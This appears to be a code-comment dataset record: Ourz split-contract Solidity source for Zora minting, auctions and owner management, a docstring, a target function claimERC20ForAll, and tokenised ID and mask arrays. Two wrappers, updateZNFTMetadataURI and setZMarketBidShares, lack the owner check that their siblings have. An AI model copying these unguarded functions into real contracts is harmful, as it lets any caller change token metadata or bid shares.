* Media -> Market -> AH -> Editions -> QoL Functions
*/
/** Media
* @notice Mint new Zora NFT for Split Contract.
*/
function mintZNFT(
IZora.MediaData calldata mediaData,
IZora.BidShares calldata bidShares
) external onlyOwners {
IZora(ZORA_MEDIA).mint(mediaData, bidShares);
emit ZNFTMinted(_getID());
}
/** Media
* @notice Update the token URIs for a Zora NFT owned by Split Contract
*/
function updateZNFTURIs(
uint256 tokenId,
string calldata tokenURI,
string calldata metadataURI
) external onlyOwners {
IZora(ZORA_MEDIA).updateTokenURI(tokenId, tokenURI);
IZora(ZORA_MEDIA).updateTokenMetadataURI(tokenId, metadataURI);
}
/** Media
* @notice Update the token URI
*/
function updateZNFTTokenURI(uint256 tokenId, string calldata tokenURI)
external
onlyOwners
{
IZora(ZORA_MEDIA).updateTokenURI(tokenId, tokenURI);
}
/** Media
* @notice Update the token metadata uri
*/
function updateZNFTMetadataURI(uint256 tokenId, string calldata metadataURI)
external
{
IZora(ZORA_MEDIA).updateTokenMetadataURI(tokenId, metadataURI);
}
/** Market
* @notice Update zora/core/market bidShares (NOT zora/auctionHouse)
*/
function setZMarketBidShares(
uint256 tokenId,
IZora.BidShares calldata bidShares
) external {
IZora(ZORA_MARKET).setBidShares(tokenId, bidShares);
}
/** Market
* @notice Update zora/core/market ask
*/
function setZMarketAsk(uint256 tokenId, IZora.Ask calldata ask)
external
onlyOwners
{
IZora(ZORA_MARKET).setAsk(tokenId, ask);
}
/** Market
* @notice Remove zora/core/market ask
*/
function removeZMarketAsk(uint256 tokenId) external onlyOwners {
IZora(ZORA_MARKET).removeAsk(tokenId);
}
/** Market
* @notice Accept zora/core/market bid
*/
function acceptZMarketBid(uint256 tokenId, IZora.Bid calldata expectedBid)
external
onlyOwners
{
IZora(ZORA_MARKET).acceptBid(tokenId, expectedBid);
}
/** AuctionHouse
* @notice Create auction on Zora's AuctionHouse for an owned/approved NFT
* @dev reccomended auctionCurrency: ETH or WETH
* ERC20s may not be split perfectly. If the amount is indivisible
* among ALL recipients, the remainder will be sent to a single recipient.
*/
function createZoraAuction(
uint256 tokenId,
address tokenContract,
uint256 duration,
uint256 reservePrice,
address payable curator,
uint8 curatorFeePercentage,
address auctionCurrency
) external onlyOwners {
IZora(ZORA_AH).createAuction(
tokenId,
tokenContract,
duration,
reservePrice,
curator,
curatorFeePercentage,
auctionCurrency
);
}
/** AuctionHouse
* @notice Approves an Auction proposal that requested the Split be the curator
*/
function setZAuctionApproval(uint256 auctionId, bool approved)
external
onlyOwners
{
IZora(ZORA_AH).setAuctionApproval(auctionId, approved);
}
/** AuctionHouse
* @notice Set an Auction's reserve price
*/
function setZAuctionReservePrice(uint256 auctionId, uint256 reservePrice)
external
onlyOwners
{
IZora(ZORA_AH).setAuctionReservePrice(auctionId, reservePrice);
}
/** AuctionHouse
* @notice Cancel an Auction before any bids have been placed
*/
function cancelZAuction(uint256 auctionId) external onlyOwners {
IZora(ZORA_AH).cancelAuction(auctionId);
}
/** NFT-Editions
* @notice Creates a new edition contract as a factory with a deterministic address
* @dev if publicMint is true & salePrice is more than 0:
* anyone will be able to mint immediately after the edition is deployed
* Set salePrice to 0 if you wish to enable purchasing at a later time
*/
function createZoraEdition(
string memory name,
string memory symbol,
string memory description,
string memory animationUrl,
bytes32 animationHash,
string memory imageUrl,
bytes32 imageHash,
uint256 editionSize,
uint256 royaltyBPS,
uint256 salePrice,
bool publicMint
) external onlyOwners {
uint256 editionId = IZora(ZORA_EDITIONS).createEdition(
name,
symbol,
description,
animationUrl,
animationHash,
imageUrl,
imageHash,
editionSize,
royaltyBPS
);
address editionAddress = IZora(ZORA_EDITIONS).getEditionAtId(editionId);
if (salePrice > 0) {
IZora(editionAddress).setSalePrice(salePrice);
}
if (publicMint) {
IZora(editionAddress).setApprovedMinter(address(0x0), true);
}
emit EditionCreated(
editionAddress,
name,
symbol,
description,
animationUrl,
imageUrl,
editionSize,
royaltyBPS
);
}
/** NFT-Editions
* @param salePrice if sale price is 0 sale is stopped, otherwise that amount
* of ETH is needed to start the sale.
* @dev This sets a simple ETH sales price
* Setting a sales price allows users to mint the edition until it sells out.
* For more granular sales, use an external sales contract.
*/
function setEditionPrice(address editionAddress, uint256 salePrice)
external
onlyOwners
{
IZora(editionAddress).setSalePrice(salePrice);
}
/** NFT-Editions
* @param editionAddress the address of the Edition Contract to call
* @param minter address to set approved minting status for
* @param allowed boolean if that address is allowed to mint
* @dev Sets the approved minting status of the given address.
* This requires that msg.sender is the owner of the given edition id.
* If the ZeroAddress (address(0x0)) is set as a minter,
* anyone will be allowed to mint.
* This setup is similar to setApprovalForAll in the ERC721 spec.
*/
function setEditionMinter(
address editionAddress,
address minter,
bool allowed
) external onlyOwners {
IZora(editionAddress).setApprovedMinter(minter, allowed);
}
/** NFT-Editions
* @param editionAddress the address of the Edition Contract to call
* @param recipients list of addresses to send the newly minted editions to
* @dev This mints multiple editions to the given list of addresses.
*/
function mintEditionsTo(
address editionAddress,
address[] calldata recipients
) external onlyOwners {
IZora(editionAddress).mintEditions(recipients);
}
/** NFT-Editions
* @param editionAddress the address of the Edition Contract to call
* @dev Withdraws all funds from Edition to split
* @notice callable by anyone, as funds are sent to the Split
*/
function withdrawEditionFunds(address editionAddress) external {
IZora(editionAddress).withdraw();
}
/** NFT-Editions
* @param editionAddress the address of the Edition Contract to call
* @dev Allows for updates of edition urls by the owner of the edition.
* Only URLs can be updated (data-uris are supported), hashes cannot be updated.
*/
function updateEditionURLs(
address editionAddress,
string memory imageUrl,
string memory animationUrl
) external onlyOwners {
IZora(editionAddress).updateEditionURLs(imageUrl, animationUrl);
}
/** QoL
* @notice Approve the Zora Auction House to manage Split's ERC-721s
* @dev Called internally in Proxy's Constructo
*/
/* solhint-disable ordering */
function _setApprovalForAH() internal {
IERC721(ZORA_MEDIA).setApprovalForAll(ZORA_AH, true);
}
/** QoL
* @notice Mints a Zora NFT with this Split as the Creator,
* and then list it on AuctionHouse for ETH
*/
function mintToAuctionForETH(
IZora.MediaData calldata mediaData,
IZora.BidShares calldata bidShares,
uint256 duration,
uint256 reservePrice
) external onlyOwners {
IZora(ZORA_MEDIA).mint(mediaData, bidShares);
uint256 tokenId_ = _getID();
emit ZNFTMinted(tokenId_);
IZora(ZORA_AH).createAuction(
tokenId_,
ZORA_MEDIA,
duration,
reservePrice,
payable(address(this)),
0,
address(0)
);
}
/* solhint-enable ordering */
/**======== IERC721 =========
* NOTE: Althought OurMinter.sol is generally implemented to work with Zora,
* the functions below allow a Split to work with any ERC-721 spec'd platform;
* (except for minting, @dev 's see untrustedExecuteTransaction() below)
* @dev see IERC721.sol
*/
/**
* NOTE: Marked as >> untrusted << Use caution when supplying tokenContract_
* @dev In case non-Zora ERC721 gets stuck in Account.
* @notice safeTransferFrom(address from, address to, uint256 tokenId)
*/
function untrustedSafeTransferERC721(
address tokenContract_,
address newOwner_,
uint256 tokenId_
) external onlyOwners {
IERC721(tokenContract_).safeTransferFrom(
address(this),
newOwner_,
tokenId_
);
}
/**
* NOTE: Marked as >> untrusted << Use caution when supplying tokenContract_
* @dev sets approvals for non-Zora ERC721 contract
* @notice setApprovalForAll(address operator, bool approved)
*/
function untrustedSetApprovalERC721(
address tokenContract_,
address operator_,
bool approved_
) external onlyOwners {
IERC721(tokenContract_).setApprovalForAll(operator_, approved_);
}
/**
* NOTE: Marked as >> untrusted << Use caution when supplying tokenContract_
* @dev burns non-Zora ERC721 that Split contract owns/isApproved
* @notice setApprovalForAll(address operator, bool approved)
*/
function untrustedBurnERC721(address tokenContract_, uint256 tokenId_)
external
onlyOwners
{
IERC721(tokenContract_).burn(tokenId_);
}
/** ======== CAUTION =========
* NOTE: As always, avoid interacting with contracts you do not trust entirely.
* @dev allows a Split Contract to call (non-payable) functions of any other contract
* @notice This function is added for 'future-proofing' capabilities, & to support the use of
custom ERC721 creator contracts.
* @notice In the interest of securing the Split's funds for Recipients from a rogue owner,
* the msg.value is hardcoded to zero.
*/
function executeTransaction(address to, bytes memory data)
external
onlyOwners
returns (bool success)
{
// solhint-disable-next-line no-inline-assembly
assembly {
success := call(gas(), to, 0, add(data, 0x20), mload(data), 0, 0)
}
}
/// @dev calculates tokenID of newly minted ZNFT
function _getID() private returns (uint256 id) {
id = IZora(ZORA_MEDIA).tokenByIndex(
IZora(ZORA_MEDIA).totalSupply() - 1
);
}
}
// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity 0.8.4;
import "./interfaces/ERC1155TokenReceiver.sol";
import "./interfaces/ERC721TokenReceiver.sol";
import "./interfaces/ERC777TokensRecipient.sol";
import "./interfaces/IERC165.sol";
/**
* @title OurIntrospector
* @author Nick A.
* https://github.com/ourz-network/our-contracts
*
* These contracts enable creators, builders, & collaborators of all kinds
* to receive royalties for their collective work, forever.
*
* Thank you,
* @author Mirror @title Splits https://github.com/mirror-xyz/splits
* @author Gnosis @title Safe https://github.com/gnosis/safe-contracts
* @author OpenZeppelin https://github.com/OpenZeppelin/openzeppelin-contracts
* @author Zora https://github.com/ourzora
*/
contract OurIntrospector is
ERC1155TokenReceiver,
ERC777TokensRecipient,
ERC721TokenReceiver,
IERC165
{
//======== ERC721 =========
// https://github.com/OpenZeppelin/openzeppelin-contracts/blob/v4.3.0/contracts/token/ERC721/IERC721Receiver.sol
function onERC721Received(
address,
address,
uint256,
bytes calldata
) external pure override returns (bytes4) {
return 0x150b7a02;
}
//======== IERC1155 =========
// https://github.com/OpenZeppelin/openzeppelin-contracts/blob/v4.3.0/contracts/token/ERC1155/IERC1155Receiver.sol
function onERC1155Received(
address,
address,
uint256,
uint256,
bytes calldata
) external pure override returns (bytes4) {
return 0xf23a6e61;
}
function onERC1155BatchReceived(
address,
address,
uint256[] calldata,
uint256[] calldata,
bytes calldata
) external pure override returns (bytes4) {
return 0xbc197c81;
}
//======== IERC777 =========
// https://github.com/OpenZeppelin/openzeppelin-contracts/blob/v4.3.0/contracts/token/ERC777/IERC777Recipient.sol
//sol
// solhint-disable-next-line ordering
event ERC777Received(
address operator,
address from,
address to,
uint256 amount
);
function tokensReceived(
address operator,
address from,
address to,
uint256 amount,
bytes calldata,
bytes calldata
) external override {
emit ERC777Received(operator, from, to, amount);
}
//======== IERC165 =========
// https://github.com/OpenZeppelin/openzeppelin-contracts/blob/v4.3.0/contracts/utils/introspection/ERC165.sol
function supportsInterface(bytes4 interfaceId)
external
pure
override
returns (bool)
{
return
interfaceId == type(ERC1155TokenReceiver).interfaceId ||
interfaceId == type(ERC721TokenReceiver).interfaceId ||
interfaceId == type(IERC165).interfaceId;
}
}
// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity 0.8.4;
/**
* @title OurStorage
* @author Nick A.
* https://github.com/ourz-network/our-contracts
*
* These contracts enable creators, builders, & collaborators of all kinds
* to receive royalties for their collective work, forever.
*
* Thank you,
* @author Mirror @title Splits https://github.com/mirror-xyz/splits
* @author Gnosis @title Safe https://github.com/gnosis/safe-contracts
* @author OpenZeppelin https://github.com/OpenZeppelin/openzeppelin-contracts
* @author Zora https://github.com/ourzora
*/
contract OurStorage {
bytes32 public merkleRoot;
uint256 public currentWindow;
address internal _pylon;
address public constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
uint256[] public balanceForWindow;
mapping(bytes32 => bool) internal _claimed;
uint256 internal _depositedInWindow;
}
// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity 0.8.4;
/**
* @title OurManagement
* @author Nick A.
* https://github.com/ourz-network/our-contracts
*
* These contracts enable creators, builders, & collaborators of all kinds
* to receive royalties for their collective work, forever.
*
* Thank you,
* @author Mirror @title Splits https://github.com/mirror-xyz/splits
* @author Gnosis @title Safe https://github.com/gnosis/safe-contracts
* @author OpenZeppelin https://github.com/OpenZeppelin/openzeppelin-contracts
* @author Zora https://github.com/ourzora
*/
contract OurManagement {
// used as origin pointer for linked list of owners
/* solhint-disable private-vars-leading-underscore */
address internal constant SENTINEL_OWNERS = address(0x1);
mapping(address => address) internal owners;
uint256 internal ownerCount;
uint256 internal threshold;
/* solhint-enable private-vars-leading-underscore */
event SplitSetup(address[] owners);
event AddedOwner(address owner);
event RemovedOwner(address owner);
event NameChanged(string newName);
modifier onlyOwners() {
// This is a function call as it minimized the bytecode size
checkIsOwner(_msgSender());
_;
}
/// @dev Allows to add a new owner
function addOwner(address owner) public onlyOwners {
// Owner address cannot be null, the sentinel or the Safe itself.
require(
owner != address(0) &&
owner != SENTINEL_OWNERS &&
owner != address(this)
);
// No duplicate owners allowed.
require(owners[owner] == address(0));
owners[owner] = owners[SENTINEL_OWNERS];
owners[SENTINEL_OWNERS] = owner;
ownerCount++;
emit AddedOwner(owner);
}
/// @dev Allows to remove an owner
function removeOwner(address prevOwner, address owner) public onlyOwners {
// Validate owner address and check that it corresponds to owner index.
require(owner != address(0) && owner != SENTINEL_OWNERS);
require(owners[prevOwner] == owner);
owners[prevOwner] = owners[owner];
owners[owner] = address(0);
ownerCount--;
emit RemovedOwner(owner);
}
/// @dev Allows to swap/replace an owner from the Proxy with another address.
/// @param prevOwner Owner that pointed to the owner to be replaced in the linked list
/// @param oldOwner Owner address to be replaced.
/// @param newOwner New owner address.
function swapOwner(
address prevOwner,
address oldOwner,
address newOwner
) public onlyOwners {
// Owner address cannot be null, the sentinel or the Safe itself.
require(
newOwner != address(0) &&
newOwner != SENTINEL_OWNERS &&
newOwner != address(this),
"2"
);
// No duplicate owners allowed.
require(owners[newOwner] == address(0), "3");
// Validate oldOwner address and check that it corresponds to owner index.
require(oldOwner != address(0) && oldOwner != SENTINEL_OWNERS, "4");
require(owners[prevOwner] == oldOwner, "5");
owners[newOwner] = owners[oldOwner];
owners[prevOwner] = newOwner;
owners[oldOwner] = address(0);
emit RemovedOwner(oldOwner);
emit AddedOwner(newOwner);
}
/// @dev for subgraph
function editNickname(string calldata newName_) public onlyOwners {
emit NameChanged(newName_);
}
function isOwner(address owner) public view returns (bool) {
return owner != SENTINEL_OWNERS && owners[owner] != address(0);
}
/// @dev Returns array of owners.
function getOwners() public view returns (address[] memory) {
address[] memory array = new address[](ownerCount);
// populate return array
uint256 index = 0;
address currentOwner = owners[SENTINEL_OWNERS];
while (currentOwner != SENTINEL_OWNERS) {
array[index] = currentOwner;
currentOwner = owners[currentOwner];
index++;
}
return array;
}
/**
* @dev Setup function sets initial owners of contract.
* @param owners_ List of Split Owners (can mint/manage auctions)
* @notice threshold ensures that setup function can only be called once.
*/
/* solhint-disable private-vars-leading-underscore */
function setupOwners(address[] memory owners_) internal {
require(threshold == 0, "Setup has already been completed once.");
// Initializing Proxy owners.
address currentOwner = SENTINEL_OWNERS;
for (uint256 i = 0; i < owners_.length; i++) {
address owner = owners_[i];
require(
owner != address(0) &&
owner != SENTINEL_OWNERS &&
owner != address(this) &&
currentOwner != owner
);
require(owners[owner] == address(0));
owners[currentOwner] = owner;
currentOwner = owner;
}
owners[currentOwner] = SENTINEL_OWNERS;
ownerCount = owners_.length;
threshold = 1;
}
function _msgSender() internal view returns (address) {
return msg.sender;
}
function checkIsOwner(address caller_) internal view {
require(
isOwner(caller_),
"Caller is not a whitelisted owner of this Split"
);
}
/* solhint-enable private-vars-leading-underscore */
}
// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity 0.8.4;
/**
* @title Minimal Interface for the Zora Protocol.
* @author (s):
* https://github.com/ourzora/
*
* @notice combination of Market, Media, and AuctionHouse contracts' interfaces.
*/
/* solhint-disable private-vars-leading-underscore, ordering */
interface IZora {
/**
* @title Interface for Decimal
*/
struct D256 {
uint256 value;
}
/**
* @title Interface for Zora Protocol's Media
*/
struct EIP712Signature {
uint256 deadline;
uint8 v;
bytes32 r;
bytes32 s;
}
struct MediaData {
// A valid URI of the content represented by this token
string tokenURI;
// A valid URI of the metadata associated with this token
string metadataURI;
// A SHA256 hash of the content pointed to by tokenURI
bytes32 contentHash;
// A SHA256 hash of the content pointed to by metadataURI
bytes32 metadataHash;
}
/**
* @dev See {IERC721Enumerable-totalSupply}.
*/
function totalSupply() external returns (uint256);
/**
* @dev See {IERC721Enumerable-tokenByIndex}.
*/
function tokenByIndex(uint256 index) external returns (uint256);
/**
* @notice Mint new media for msg.sender.
*/
function mint(MediaData calldata data, BidShares calldata bidShares)
external;
/**
* @notice EIP-712 mintWithSig method. Mints new media for a creator given a valid signature.
*/
function mintWithSig(
address creator,
MediaData calldata data,
BidShares calldata bidShares,
EIP712Signature calldata sig
) external;
/**
* @notice Update the token URI
*/
function updateTokenURI(uint256 tokenId, string calldata tokenURI) external;
/**
* @notice Update the token metadata uri
*/
function updateTokenMetadataURI(
uint256 tokenId,
string calldata metadataURI
) external;
/**
* @title Interface for Zora Protocol's Market
*/
struct Bid {
// Amount of the currency being bid
uint256 amount;
// Address to the ERC20 token being used to bid
address currency;
// Address of the bidder
address bidder;
// Address of the recipient
address recipient;
// % of the next sale to award the current owner
D256 sellOnShare;
}
struct Ask {
// Amount of the currency being asked
uint256 amount;
// Address to the ERC20 token being asked
address currency;
}
struct BidShares {
// % of sale value that goes to the _previous_ owner of the nft
D256 prevOwner;
// % of sale value that goes to the original creator of the nft
D256 creator;
// % of sale value that goes to the seller (current owner) of the nft
D256 owner;
}
function setBidShares(uint256 tokenId, BidShares calldata bidShares)
external;
function setAsk(uint256 tokenId, Ask calldata ask) external;
function removeAsk(uint256 tokenId) external;
function setBid(
uint256 tokenId,
Bid calldata bid,
address spender
) external;
function removeBid(uint256 tokenId, address bidder) external;
function acceptBid(uint256 tokenId, Bid calldata expectedBid) external;
/**
* @title Interface for Auction House
*/
struct Auction {
// ID for the ERC721 token
uint256 tokenId;
// Address for the ERC721 contract
address tokenContract;
// Whether or not the auction curator has approved the auction to start
bool approved;
// The current highest bid amount
uint256 amount;
// The length of time to run the auction for, after the first bid was made
uint256 duration;
// The time of the first bid
uint256 firstBidTime;
// The minimum price of the first bid
uint256 reservePrice;
// The sale percentage to send to the curator
uint8 curatorFeePercentage;
// The address that should receive the funds once the NFT is sold.
address tokenOwner;
// The address of the current highest bid
address payable bidder;
// The address of the auction's curator.
// The curator can reject or approve an auction
address payable curator;
// The address of the ERC-20 currency to run the auction with.
// If set to 0x0, the auction will be run in ETH
address auctionCurrency;
}
function createAuction(
uint256 tokenId,
address tokenContract,
uint256 duration,
uint256 reservePrice,
address payable curator,
uint8 curatorFeePercentage,
address auctionCurrency
) external returns (uint256);
function setAuctionApproval(uint256 auctionId, bool approved) external;
function setAuctionReservePrice(uint256 auctionId, uint256 reservePrice)
external;
function createBid(uint256 auctionId, uint256 amount) external payable;
function endAuction(uint256 auctionId) external;
function cancelAuction(uint256 auctionId) external;
/**
* @title Interface for NFT-Editions
*/
/// Creates a new edition contract as a factory with a deterministic address
/// Important: None of these fields (except the Url fields with the same hash) can be changed after calling
/// @param _name Name of the edition contract
/// @param _symbol Symbol of the edition contract
/// @param _description Metadata: Description of the edition entry
/// @param _animationUrl Metadata: Animation url (optional) of the edition entry
/// @param _animationHash Metadata: SHA-256 Hash of the animation (if no animation url, can be 0x0)
/// @param _imageUrl Metadata: Image url (semi-required) of the edition entry
/// @param _imageHash Metadata: SHA-256 hash of the Image of the edition entry (if not image, can be 0x0)
/// @param _editionSize Total size of the edition (number of possible editions)
/// @param _royaltyBPS BPS amount of royalty
function createEdition(
string memory _name,
string memory _symbol,
string memory _description,
string memory _animationUrl,
bytes32 _animationHash,
string memory _imageUrl,
bytes32 _imageHash,
uint256 _editionSize,
uint256 _royaltyBPS
) external returns (uint256);
/**
@param _salePrice if sale price is 0 sale is stopped, otherwise that amount
of ETH is needed to start the sale.
@dev This sets a simple ETH sales price
Setting a sales price allows users to mint the edition until it sells out.
For more granular sales, use an external sales contract.
*/
function setSalePrice(uint256 _salePrice) external;
/**
@dev This withdraws ETH from the contract to the contract owner.
*/
function withdraw() external;
/**
@param recipients list of addresses to send the newly minted editions to
@dev This mints multiple editions to the given list of addresses.
*/
function mintEditions(address[] memory recipients)
external
returns (uint256);
/**
Get edition given the created ID
@param editionId id of edition to get contract for
@return address of SingleEditionMintable Edition NFT contract
*/
function getEditionAtId(uint256 editionId) external view returns (address);
/**
@param minter address to set approved minting status for
@param allowed boolean if that address is allowed to mint
@dev Sets the approved minting status of the given address.
This requires that msg.sender is the owner of the given edition id.
If the ZeroAddress (address(0x0)) is set as a minter,
anyone will be allowed to mint.
This setup is similar to setApprovalForAll in the ERC721 spec.
*/
function setApprovedMinter(address minter, bool allowed) external;
/**
@dev Allows for updates of edition urls by the owner of the edition.
Only URLs can be updated (data-uris are supported), hashes cannot be updated.
*/
function updateEditionURLs(
string memory _imageUrl,
string memory _animationUrl
) external;
}
/* solhint-enable private-vars-leading-underscore, ordering */
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @title Minimal Interface for ERC721s
* @author (s):
* https://github.com/OpenZeppelin/openzeppelin-contracts/tree/master/contracts/token/ERC721
*
* @dev Allows Split contract to interact with ERC-721s beyond the Zora Protocol.
*/
/**
* @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Enumerable {
/**
* @dev Returns the total amount of tokens stored by the contract.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns a token ID at a given `index` of all the tokens stored by the contract.
* Use along with {totalSupply} to enumerate all tokens.
*/
function tokenByIndex(uint256 index) external view returns (uint256);
}
/**
* @title ERC721 Burnable Token
* @dev ERC721 Token that can be irreversibly burned (destroyed).
*/
interface IERC721Burnable {
/**
* @dev Burns `tokenId`. See {ERC721-_burn}.
*
* Requirements:
*
* - The caller must own `tokenId` or be an approved operator.
*/
function burn(uint256 tokenId) external;
}
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC721Burnable, IERC721Enumerable {
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @notice Most NFT Protocols vary in their implementation of mint,
* @notice so this should be changed if you know you will need to use a
* @notice different protocol.
* @dev lowest common denominator mint()
*/
// function mint(string calldata calldatacontentURI_ || address to_ || etc...) external;
}
// SPDX-License-Identifier: LGPL-3.0-only
pragma solidity >=0.7.0 <0.9.0;
/**
Note: The ERC-165 identifier for this interface is 0x4e2312e0.
*/
interface ERC1155TokenReceiver {
/**
@notice Handle the receipt of a single ERC1155 token type.
@dev An ERC1155-compliant smart contract MUST call this function on the token recipient contract, at the end of a `safeTransferFrom` after the balance has been updated.
This function MUST return `bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))` (i.e. 0xf23a6e61) if it accepts the transfer.
This function MUST revert if it rejects the transfer.
Return of any other value than the prescribed keccak256 generated value MUST result in the transaction being reverted by the caller.
@param _operator The address which initiated the transfer (i.e. msg.sender)
@param _from The address which previously owned the token
@param _id The ID of the token being transferred
@param _value The amount of tokens being transferred
@param _data Additional data with no specified format
@return `bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))`
*/
function onERC1155Received(
address _operator,
address _from,
uint256 _id,
uint256 _value,
bytes calldata _data
) external returns (bytes4);
/**
@notice Handle the receipt of multiple ERC1155 token types.
@dev An ERC1155-compliant smart contract MUST call this function on the token recipient contract, at the end of a `safeBatchTransferFrom` after the balances have been updated.
This function MUST return `bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"))` (i.e. 0xbc197c81) if it accepts the transfer(s).
This function MUST revert if it rejects the transfer(s).
Return of any other value than the prescribed keccak256 generated value MUST result in the transaction being reverted by the caller.
@param _operator The address which initiated the batch transfer (i.e. msg.sender)
@param _from The address which previously owned the token
@param _ids An array containing ids of each token being transferred (order and length must match _values array)
@param _values An array containing amounts of each token being transferred (order and length must match _ids array)
@param _data Additional data with no specified format
@return `bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"))`
*/
function onERC1155BatchReceived(
address _operator,
address _from,
uint256[] calldata _ids,
uint256[] calldata _values,
bytes calldata _data
) external returns (bytes4);
}
// SPDX-License-Identifier: LGPL-3.0-only
pragma solidity >=0.7.0 <0.9.0;
/// @dev Note: the ERC-165 identifier for this interface is 0x150b7a02.
interface ERC721TokenReceiver {
/// @notice Handle the receipt of an NFT
/// @dev The ERC721 smart contract calls this function on the recipient
/// after a `transfer`. This function MAY throw to revert and reject the
/// transfer. Return of other than the magic value MUST result in the
/// transaction being reverted.
/// Note: the contract address is always the message sender.
/// @param _operator The address which called `safeTransferFrom` function
/// @param _from The address which previously owned the token
/// @param _tokenId The NFT identifier which is being transferred
/// @param _data Additional data with no specified format
/// @return `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`
/// unless throwing
function onERC721Received(
address _operator,
address _from,
uint256 _tokenId,
bytes calldata _data
) external returns (bytes4);
}
// SPDX-License-Identifier: LGPL-3.0-only
pragma solidity >=0.7.0 <0.9.0;
interface ERC777TokensRecipient {
function tokensReceived(
address operator,
address from,
address to,
uint256 amount,
bytes calldata data,
bytes calldata operatorData
) external;
}
// SPDX-License-Identifier: LGPL-3.0-only
pragma solidity >=0.7.0 <0.9.0;
/// @notice More details at https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/utils/introspection/IERC165.sol
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
} | * @dev Attempts transferring entire balance of an ERC20 to corresponding Recipients @notice if amount of tokens are not equally divisible according to allocation the remainder will be forwarded to accounts[0]. In most cases, the difference will be negligible: ~remainder × 10^-17, or about 0.000000000000000100 at most. @notice iterating through an array to push payments goes against best practices, therefore it is advised to avoid accepting ERC-20s as payment./ | function claimERC20ForAll(
address tokenAddress,
address[] calldata accounts,
uint256[] calldata allocations,
Proof[] calldata merkleProofs
) external {
require(
_verifyProof(
merkleProofs[0].merkleProof,
merkleRoot,
_getNode(accounts[0], allocations[0])
),
"Invalid proof for Account 0"
);
uint256 erc20Balance = IERC20(tokenAddress).balanceOf(address(this));
for (uint256 i = 1; i < accounts.length; i++) {
require(
_verifyProof(
merkleProofs[i].merkleProof,
merkleRoot,
_getNode(accounts[i], allocations[i])
),
"Invalid proof"
);
uint256 scaledAmount = scaleAmountByPercentage(
erc20Balance,
allocations[i]
);
_attemptERC20Transfer(tokenAddress, accounts[i], scaledAmount);
}
_attemptERC20Transfer(
tokenAddress,
accounts[0],
IERC20(tokenAddress).balanceOf(address(this))
);
emit TransferERC20(tokenAddress, erc20Balance);
}
| 1,224,195 | [
1,
10113,
906,
74,
20245,
7278,
11013,
434,
392,
4232,
39,
3462,
358,
4656,
868,
15079,
225,
309,
3844,
434,
2430,
854,
486,
1298,
1230,
3739,
18932,
4888,
358,
13481,
326,
10022,
903,
506,
19683,
358,
9484,
63,
20,
8009,
657,
4486,
6088,
16,
326,
7114,
903,
506,
4251,
80,
16057,
30,
1377,
4871,
2764,
25407,
225,
132,
250,
1728,
66,
17,
4033,
16,
1377,
578,
2973,
374,
18,
12648,
9449,
1611,
713,
622,
4486,
18,
225,
13099,
3059,
392,
526,
358,
1817,
25754,
13998,
5314,
3796,
23122,
1242,
16,
540,
13526,
518,
353,
1261,
26779,
358,
4543,
25806,
4232,
39,
17,
3462,
87,
487,
5184,
18,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
